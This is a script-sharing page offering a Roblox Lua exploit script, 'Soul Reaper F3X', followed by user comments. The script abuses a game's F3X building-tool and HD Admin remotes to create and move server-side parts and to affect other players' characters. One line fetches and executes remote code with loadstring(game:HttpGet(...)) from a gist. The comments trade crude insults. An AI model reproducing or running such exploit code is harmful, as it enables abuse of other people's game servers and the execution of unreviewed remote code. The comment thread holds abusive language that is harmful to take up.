Soul Reaper F3X Script
Key RequiredUniversal

Soul Reaper F3X Script

Universal Scriptfed0lanfed0lan 2.6K views 7.1K executesUpdated Jan 16, 2026
5.0/ 5(2 votes)
20100% Positive
Lua Script•786 lines (18393 chars)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
local player = game.Players.LocalPlayer
  if not player.Backpack:FindFirstChild("SuperFlyGoldBoombox") then
	rq:InvokeServer(";gear me 212641536")
  end
wait(0.8)
    local char = player.Character
    local hum = char.Humanoid
    local hed = char.Head
    local tool
    char.Animate.Disabled = false
    for i,v in player:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
        end
    end
    for i,v in game.ReplicatedStorage:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
        end
    end
    --craaa
    remote = tool.SyncAPI.ServerEndpoint
    function _(args)
        remote:InvokeServer(unpack(args))
    end


    function SetCollision(part,boolean)
        local args = {
            [1] = "SyncCollision",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CanCollide"] = boolean
                }
            }
        }
        _(args)
    end
    function SetAnchor(boolean,part)
        local args = {
            [1] = "SyncAnchor",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Anchored"] = boolean
                }
            }
        }
        _(args)
    end
    function CreatePart(cf,parent)
        local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
        }
        _(args)
    end
    function DestroyPart(part)
        local args = {
            [1] = "Remove",
            [2] = {
                [1] = part
            }
        }
        _(args)
    end
    function MovePart(part,cf)
        local args = {
            [1] = "SyncMove",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CFrame"] = cf
                }
            }
        }
        _(args)
    end
local TweenService = game:GetService("TweenService")

function smoothMove(part, cf)
    tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Linear)
    
    local tween = TweenService:Create(part, tweenInfo, {CFrame = cf})
    tween:Play()
    
    tween.Completed:Connect(function()
        local args = {
            [1] = "SyncMove",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CFrame"] = cf
                }
            }
        }
        _(args) 
    end)
end

    function Resize(part,size,cf)
        local args = {
            [1] = "SyncResize",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CFrame"] = cf,
                    ["Size"] = size
                }
            }
        }
        _(args)
    end
    function AddMesh(part)
        local args = {
            [1] = "CreateMeshes",
            [2] = {
                [1] = {
                    ["Part"] = part
                }
            }
        }
        _(args)
    end
    function reflect(part,int)
        local args = {
            [1] = "SyncMaterial",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Reflectance"] = int
                }
            }
        }
        _(args)
    end
    function SetMesh(part,meshid,offset)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["MeshId"] = "rbxassetid://"..meshid,
                    ["Offset"] = offset
                }
            }
        }
        _(args)
    end
    function SetTexture(part, texid)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["TextureId"] = "rbxassetid://"..texid
                }
            }
        }
        _(args)
    end
function breakWelds(part)
    local welds = {}
    for _, weld in ipairs(part:GetDescendants()) do
        if weld:IsA("WeldConstraint") or weld:IsA("Weld") or weld:IsA("Motor6D") then
            table.insert(welds, weld)
        end
    end

    if #welds == 0 then
        return false
    end

    local args = {
        "RemoveWelds",
        welds
    }
    _(args)
    return true
end
    function SetName(part, stringg)
        local args = {
            [1] = "SetName",
            [2] = {
                [1] = part
            },
            [3] = stringg
        }

        _(args)
    end
    function MeshResize(part,size)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Scale"] = size
                }
            }
        }
        _(args)
    end
    function Weld(part1, part2,lead)
        local args = {
            [1] = "CreateWelds",
            [2] = {
                [1] = part1,
                [2] = part2
            },
            [3] = lead
        }
        _(args)

    end
    function SetLocked(part,boolean)
        local args = {
            [1] = "SetLocked",
            [2] = {
                [1] = part
            },
            [3] = boolean
        }
        _(args)
    end

    function SetTrans(part,int)
        local args = {
            [1] = "SyncMaterial",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Transparency"] = int
                }
            }
        }
        _(args)
    end
    function SetM3sh(part,meshid)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["MeshId"] = meshid,
                }
            }
        }
        _(args)
    end
    function SetTexture(part, texid)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["TextureId"] = "rbxassetid://"..texid
                }
            }
        }
        _(args)
    end
    function SetT3xture(part, texid)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["TextureId"] = texid
                }
            }
        }
        _(args)
    end
function ClonePart(part,parent)
       		 local args = {
           [1] = "Clone",
           [2] = {
           [1] = part
          },
           [3] = parent
        }

    return remote:InvokeServer(unpack(args))
end
	function sound(id,parent,name)
		a = player.Backpack.SuperFlyGoldBoombox
		r=player.Backpack.SuperFlyGoldBoombox.Handle
		a.Parent = char
		task.spawn(function()
			SetTrans(r,1)
		end)
		local erg = {"Activate", vector.create(0, 0, 0)}
		a:WaitForChild("Remote"):FireServer(unpack(erg))
		wait(0.7)
		local erg = {"PlaySong",id}
		a:WaitForChild("Remote"):FireServer(unpack(erg))
		ClonePart(r,parent)
		wait(0.3)
		a.Parent = player.Backpack
		w=parent.Handle
		task.spawn(function()
			SetAnchor(true,w)
		end)
		task.spawn(function()
			SetTrans(w,1)
		end)
		task.spawn(function()
			Resize(w,Vector3.new(),parent.CFrame)
		end)
    spawn(function()
      SetName(w,name)
    end)
		task.spawn(function()
			Weld(w,parent,parent)
		end)
		wait(0.2)
		task.spawn(function()
			SetAnchor(false,w)
		end)
		local sound =w.Sound 
	end
    function mate(part,int)
        local args = {
            [1] = "SyncMaterial",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Material"] = int
                }
            }
        }
        _(args)
    end
    function CreateSpotlight(part)
        local args = {
            [1] = "CreateLights",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["LightType"] = "SpotLight"
                }
            }
        }
        _(args)
    end
    function SyncLighting(part,brightness)
        local args = {
            [1] = "SyncLighting",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["LightType"] = "SpotLight",
                    ["Brightness"] = brightness
                }
            }
        }
        _(args)
    end
    function Color(part,color)
        local args = {
            [1] = "SyncColor",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Color"] = color --[[Color3]],
                    ["UnionColoring"] = false
                }
            }
        }
        _(args)
    end
    function SpawnDecal(part,side)
        local args = {
            [1] = "CreateTextures",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Face"] = side,
                    ["TextureType"] = "Decal"
                }
            }
        }

        _(args)
    end
    function AddDecal(part,asset,side)
        local args = {
            [1] = "SyncTexture",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Face"] = side,
                    ["TextureType"] = "Decal",
                    ["Texture"] = "rbxasset://".. asset
                }
            }
        }
        _(args)
    end
    function AddD3cal(part,asset,side)
        local args = {
            [1] = "SyncTexture",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Face"] = side,
                    ["TextureType"] = "Decal",
                    ["Texture"] = asset
                }
            }
        }
        _(args)
    end
clr=Color3.fromRGB(155,0,255)
function light(part)
		local args = {
			"CreateLights",
			{
				{
					["Part"] = part,
					["LightType"] = "PointLight"
				}
	  	}
		}
		_(args)
		local args2 = {
			"SyncLighting",
			{
				{
					["Part"] = part,
					["LightType"] = "PointLight",
					["Color"] = clr,
					["Range"] = 10,
          ["Brightness"] = 7,
				}
			}
		}
		_(args2)
	end

for i,v in char:GetDescendants() do
        if v:IsA("BasePart") then
            task.defer(function()
            SetTrans(v,1)
            end)
        end
    end
    for i,v in char:GetDescendants() do
        if v:IsA("Decal") then
            task.defer(function()
            DestroyPart(v)
            end)
        end
    end
    for i,v in char:GetDescendants() do
        if v:IsA("BasePart") then
         v.Anchored=true
        end
    end

sound(1080752200,char.HumanoidRootPart,"Static")
local Scythe1 = remote:InvokeServer("CreatePart","Normal",CFrame.new(0,0,0),char)
task.defer(function()
AddMesh(Scythe1)
end)
task.defer(function()
SetMesh(Scythe1,"134254117607114", Vector3.new(0, 0, 0))
end)
task.defer(function()
SetName(Scythe1,"Scythe1")
end)
task.defer(function()
Color(Scythe1, Color3.new(0,0,0))
end)
task.defer(function()
SetCollision(Scythe1,false)
end)
task.defer(function()
Resize(Scythe1, Vector3.new(8.551, 0.654, 7.861),Scythe1.CFrame)
end)

local Neon = remote:InvokeServer("CreatePart","Normal",CFrame.new(0,0,0),char)
spawn(function()
AddMesh(Neon)
end)
task.defer(function()
SetMesh(Neon,"108303781621285", Vector3.new(0,0,0))
end)
task.defer(function()
SetName(Neon,"Neon")
end)
task.defer(function()
light(Neon)
end)
task.defer(function()
mate(Neon,Enum.Material.Neon)
end)
task.defer(function()
Resize(Neon, Vector3.new(8.551, 0.654, 7.861),Neon.CFrame)
end)
task.defer(function()
Color(Neon,clr)
end)

    cf=CFrame.new()
local larm = char["Left Arm"]
local rarm = char["Right Arm"]
local lleg = char["Left Leg"]
local rleg = char["Right Leg"]
local trs= char.Torso
local hd = char.Head

nlarm = remote:InvokeServer("CreatePart","Normal",cf,char)
nrarm = remote:InvokeServer("CreatePart","Normal",cf,char)
nlleg = remote:InvokeServer("CreatePart","Normal",cf,char)
nrleg = remote:InvokeServer("CreatePart","Normal",cf,char)
ntrs = remote:InvokeServer("CreatePart","Normal",cf,char)
nhd = remote:InvokeServer("CreatePart","Normal",cf,char)


task.defer(function()
Resize(nlarm, larm.Size, larm.CFrame)
end)
task.defer(function()
Resize(nrarm, rarm.Size, rarm.CFrame)
end)
task.defer(function()
Resize(nlleg, lleg.Size, lleg.CFrame)
end)
task.defer(function()
Resize(nrleg, rleg.Size, rleg.CFrame)
end)
task.defer(function()
Resize(ntrs, trs.Size, trs.CFrame)
end)
task.defer(function()
Resize(nhd, hd.Size, hd.CFrame)
end)


task.defer(function()
Color(nlarm, larm.Color)
end)
task.defer(function()
Color(nrarm, rarm.Color)
end)
task.defer(function()
Color(nlleg, lleg.Color)
end)
task.defer(function()
Color(nrleg, rleg.Color)
end)
task.defer(function()
Color(ntrs, trs.Color)
end)
task.defer(function()
Color(nhd, hd.Color)
end)

task.defer(function()
SetCollision(nlarm, false)
end)
task.defer(function()
SetCollision(nrarm, false)
end)
task.defer(function()
SetCollision(nlleg, false)
end)
task.defer(function()
SetCollision(nrleg, false)
end)
task.defer(function()
SetCollision(ntrs, false)
end)
task.defer(function()
SetCollision(nhd, false)
end)
task.defer(function()
SetCollision(Neon, false)
end)
task.defer(function()
SetCollision(Scythe1, false)
end)

task.defer(function()
AddMesh(nhd)
end)
task.defer(function()
MeshResize(nhd, Vector3.new(1.25,1.25,1.25))
end)
if hd:FindFirstChildOfClass("SpecialMesh") then
if hd:FindFirstChildOfClass("SpecialMesh").MeshType == Enum.MeshType.FileMesh then
mesh=hd:FindFirstChildOfClass("SpecialMesh")
    task.defer(function()
     SetM3sh(nhd,mesh.MeshId)
    end)
task.defer(function()
MeshResize(nhd,mesh.Scale)
end)
  end
end

task.defer(function()
SpawnDecal(nhd,Enum.NormalId.Front)
end)
if hd:FindFirstChildOfClass("Decal") then
    local face = hd:FindFirstChildOfClass("Decal")
    if face.Texture ~= "rbxasset://textures/face.png" then
        task.defer(function()
            AddD3cal(nhd, face.Texture, Enum.NormalId.Front)
        end)
    else
        task.defer(function()
            AddDecal(nhd, "textures/face.png", Enum.NormalId.Front)
        end)
    end
end

local accs = {}

for i,v in char:GetDescendants() do
    if v:IsA("Accessory") then
        if v:FindFirstChild("Handle") then
            local orig = v.Handle:FindFirstChildOfClass("SpecialMesh")
            local acc = remote:InvokeServer("CreatePart","Normal",cf,char)
            
            task.defer(function()
                AddMesh(acc)
            end)
            task.defer(function()
                SetM3sh(acc,orig.MeshId)
            end)
            task.defer(function()
                SetCollision(acc,false)
            end)
            task.defer(function()
                SetT3xture(acc,orig.TextureId)
            end)
            task.defer(function()
                MeshResize(acc,orig.Scale)
            end)
            
            table.insert(accs, {acc = v,part = acc,lcf =v.Handle.CFrame})
        end 
    end
end
task.defer(function()
AddMesh(nlarm)
end)
task.defer(function()
SetMesh(nlarm,"127739625807358")
end)


task.defer(function()
AddMesh(nrarm)
end)
task.defer(function()
SetMesh(nrarm,"127739625807358")
end)
task.defer(function()
AddMesh(ntrs)
end)
task.defer(function()
SetMesh(ntrs,"2027989253")
end)
task.defer(function()
AddMesh(nlleg)
end)
task.defer(function()
SetMesh(nlleg,"127739625807358")
end)
task.defer(function()
AddMesh(nrleg)
end)
task.defer(function()
SetMesh(nrleg,"127739625807358")
end)


task.defer(function()
-- anims
loadstring(game:HttpGet("https://gist.github.com/Kotyara19k-Doorsspawner/2c02b92a4e32c552566962c8e2d42284/raw/b6ca0a5626e8494e858eaeab5c9c7bf082444c28/soulreaper"))()
end)
wait(2)
scythe=char.Scythe

    for i,v in char:GetDescendants() do
        if v:IsA("BasePart") then
      if v.Name ~='Part' then
    if v.Name~='Neon' then
  if v.Name~='Scythe1' then
        v.Anchored=false
        end
       end
      end
     end
   end

game:GetService("RunService").Heartbeat:connect(function(deltaTime)

local smoothFactor = math.clamp(deltaTime * 30, 0, 1)
     hd1 = hd.CFrame:Lerp(hd.CFrame, smoothFactor)
     trs1 = trs.CFrame:Lerp(trs.CFrame, smoothFactor)
     larm1 = larm.CFrame:Lerp(larm.CFrame, smoothFactor)
     rarm1 = rarm.CFrame:Lerp(rarm.CFrame, smoothFactor)
     lleg1 = lleg.CFrame:Lerp(lleg.CFrame, smoothFactor)
     rleg1 = rleg.CFrame:Lerp(rleg.CFrame, smoothFactor)

task.defer(function()
MovePart(nhd,hd1)
end)
task.defer(function()
MovePart(ntrs,trs1)
end)
task.defer(function()
MovePart(nlarm,larm1)
end)
task.defer(function()
MovePart(nrarm,rarm1)
end)
task.defer(function()
MovePart(nlleg,lleg1)
end)
task.defer(function()
MovePart(nrleg,rleg1)
end)
   for _, data in pairs(accs) do
        local tcf = data.acc.Handle.CFrame
        data.lcf = data.lcf:Lerp(tcf, 1)
        task.defer(function()
            MovePart(data.part, data.lcf)
        end)
    end
end)
local lastScytheCF, lastNeonCF

task.defer(function()
game:GetService("RunService").Heartbeat:connect(function(deltaTime)
    local smoothFactor = math.clamp(deltaTime * 30, 0, 1)
    
    local targetCF1 = scythe:GetChildren()[2].CFrame * CFrame.new(3.8, 0, 0.8)
    lastScytheCF = (lastScytheCF or targetCF1):Lerp(targetCF1, smoothFactor)
    

    local targetCF2 = lastScytheCF * CFrame.new(0.330, 0, 0.009)
    lastNeonCF = (lastNeonCF or targetCF2):Lerp(targetCF2, smoothFactor)
    
    task.defer(function()
        MovePart(Scythe1, lastScytheCF)
    end)
    task.defer(function()
        MovePart(Neon, lastNeonCF)
    end)
end)
end)
mouse.Button1Down:connect(function()
    local hitPlayer = nil
    local cnect

    function ontc(other)
        local hitChar = other.Parent 
        if not hitChar then return end
        
        local otherPlayer = game.Players:GetPlayerFromCharacter(hitChar)
        if otherPlayer and otherPlayer ~= game.Players.LocalPlayer then
            hitPlayer = otherPlayer
            if hitPlayer.Character and hitPlayer.Character:FindFirstChild("Humanoid") then
task.defer(function()
Resize(hitPlayer.Character.Head,hitPlayer.Character.Head.Size,hitPlayer.Character.Head.CFrame)
end)
            end
        end
    end
    cnect = Scythe1.Touched:connect(ontc)
    wait(0.15)
    if cnect then
        cnect:Disconnect()
    end
end)

Features & Information

You need btools and hd admin to use this script :)

Community Comments (18)

KomodoScriptingGuyKomodoScriptingGuyJan 16, 2026

remember, this is not FE

Replying to @KomodoScriptingGuy
fed0lanfed0lanJan 16, 2026

@KomodoScriptingGuy its a f3x script

Replying to @KomodoScriptingGuy
MercyRBXMercyRBXJan 16, 2026

@KomodoScriptingGuy it is a f3x script (sync API) it uses that tool in the toolbox called "btools" and what does it do u can build stuff on the serverside so it is fe as evb can see it

KomodoScriptingGuyKomodoScriptingGuyJan 16, 2026

nvm thought it was universal mb

oliverkinghamoliverkinghamJan 16, 2026

TYSM

skidIordskidIordJan 17, 2026

obviously leaked from me, thats why i quit f3x community

skidIordskidIordJan 17, 2026

like someone just gets the script and reuploads the scripts like a tard

Replying to @skidIord
Relxtr00pRelxtr00pJan 17, 2026

@y0idscery deserved

Replying to @Relxtr00p
MercyRBXMercyRBXJan 17, 2026

@Relxtr00p stfu

skidIordskidIordJan 17, 2026

@Relxtr00p tell me how is it deserved

Replying to @skidIord
Relxtr00pRelxtr00pJan 18, 2026

@y0idscery suck my * *er

Replying to @Relxtr00p
MercyRBXMercyRBXJan 18, 2026

@Relxtr00p smd bitvh

Replying to @MercyRBX
Relxtr00pRelxtr00pJan 18, 2026

@MercyRBX suck ur daddy y0id dih sybau

Replying to @Relxtr00p
MercyRBXMercyRBXJan 18, 2026

@Relxtr00p ts

Replying to @Relxtr00p
MercyRBXMercyRBXJan 18, 2026

ur a skid

XDThe22XDXDThe22XDJan 19, 2026

Can u make without hd admin?

skidIordskidIordMar 13, 2026

@fed0lan delete this

d3crypted9d3crypted9May 27, 2026

d00mkidd skiddied this

More Scripts for Universal Scripts